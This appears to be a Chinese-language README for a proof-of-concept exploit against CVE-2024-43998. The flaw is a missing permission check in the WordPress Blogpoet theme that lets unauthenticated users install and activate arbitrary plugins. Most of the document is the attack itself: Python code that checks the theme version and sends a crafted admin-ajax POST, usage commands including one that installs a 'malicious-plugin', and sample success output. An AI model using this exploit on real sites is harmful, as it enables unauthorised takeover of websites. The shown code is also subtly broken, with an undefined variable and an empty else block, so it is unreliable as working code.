Blogpoet 主题任意插件安装漏洞利用工具 (CVE-2024-43998)

2 阅读3分钟

CVE-2024-43998 - Blogpoet 主题插件安装漏洞利用工具

该项目提供了一个概念验证(PoC)脚本,用于检测和利用 WordPress Blogpoet 主题中的 CVE-2024-43998 漏洞。该漏洞源于主题的 admin-ajax.php 接口中 blogpoet_install_and_activate_plugins 动作缺少适当的权限检查(缺失 ACL 限制),导致未经认证的攻击者可以远程安装并激活任意 WordPress 插件,进而可能造成网站被控制或数据泄露。

功能特性

  • 漏洞利用:向 wp-admin/admin-ajax.php 发送特制 POST 请求,触发插件安装与激活流程。
  • 灵活参数:支持自定义目标 URL 和待安装的插件名称(默认为 wordpress-seo)。
  • 静默模式:忽略 SSL 证书验证错误,适配内网或自签名证书环境。

安装指南

环境要求

  • Python 3.6 及以上版本
  • requests
  • packaging

安装依赖

pip install requests packaging

下载脚本

git clone https://github.com/your-repo/CVE-2024-43998.git
cd CVE-2024-43998

使用说明

基础用法

python CVE-2024-43998.py -u http://192.168.100.74:8888

该命令将:

  1. 检查目标站点的 Blogpoet 主题版本。
  2. 如果版本符合漏洞条件,尝试安装并激活默认插件 wordpress-seo

指定插件名称

python CVE-2024-43998.py -u https://example.com -p malicious-plugin

完整参数列表

参数说明
-h, --help显示帮助信息
-u URL, --url URL目标 WordPress 站点的基础 URL(必需)
-p PLUGIN, --plugin PLUGIN要安装并激活的插件名,默认为 wordpress-seo

输出示例

The site at http://192.168.100.74:8888 is vulnerable (Stable tag: 1.0.2).
Response Status Code: 200
Response Text: {"success":true,"data":{"message":"Plugin installed and activated successfully."}}

核心代码

版本检测逻辑

def check_version(base_url):

    try:
        response = requests.get(url, verify=False, timeout=10)
        if response.status_code == 200:
            for line in response.text.splitlines():
                if line.lower().startswith("stable tag:"):
                    version_in_file = line.split(":", 1)[1].strip()
                    if Version(version_in_file) <= Version("1.0.2"):
                        print(f"The site at {base_url} is vulnerable (Stable tag: {version_in_file}).")
                    else:
                        print(f"The site at {base_url} is not vulnerable (Stable tag: {version_in_file}).")
                    return
            print(f"No version information found in {url}.")
        else:

    except requests.exceptions.RequestException as e:
        print(f"An error occurred while checking the version: {e}")

漏洞利用请求

def send_post_request(base_url, plugin="wordpress-seo"):
    url = f"{base_url}/wp-admin/admin-ajax.php"
    referer = f"{base_url}/wordpress/wp-admin/index.php"
    origin = base_url

    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:129.0) Gecko/20100101 Firefox/129.0",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Referer": referer,
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "X-Requested-With": "XMLHttpRequest",
        "Origin": origin,
        "Connection": "keep-alive",
        "Priority": "u=0",
    }

    payload = {
        "action": "blogpoet_install_and_activate_plugins",
        "plugin": plugin,
    }

    try:
        response = requests.post(url, headers=headers, data=payload, verify=False)
        print(f"Response Status Code: {response.status_code}")
        print(f"Response Text: {response.text}")
    except requests.exceptions.RequestException as e:
        print(f"An error occurred: {e}")

主程序入口

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2024-43998 exploit by Nxploited")
    parser.add_argument("-u", "--url", required=True, help="The base URL of the WordPress site, e.g., http://192.168.100.74:888")
    parser.add_argument("-p", "--plugin", default="wordpress-seo", help="The plugin name to be installed and activated (default: wordpress-seo)")

    args = parser.parse_args()

    check_version(args.url)
    send_post_request(args.url, args.plugin)

免责声明

该脚本仅用于教育目的授权的安全评估。未经明确授权使用此脚本攻击目标系统属于违法行为,可能导致法律后果。使用者必须遵守当地法律法规,并在获得系统所有者书面授权后方可进行测试。 6HFtX5dABrKlqXeO5PUv/2kXvBS9ukMZLjFf7ydIzpU=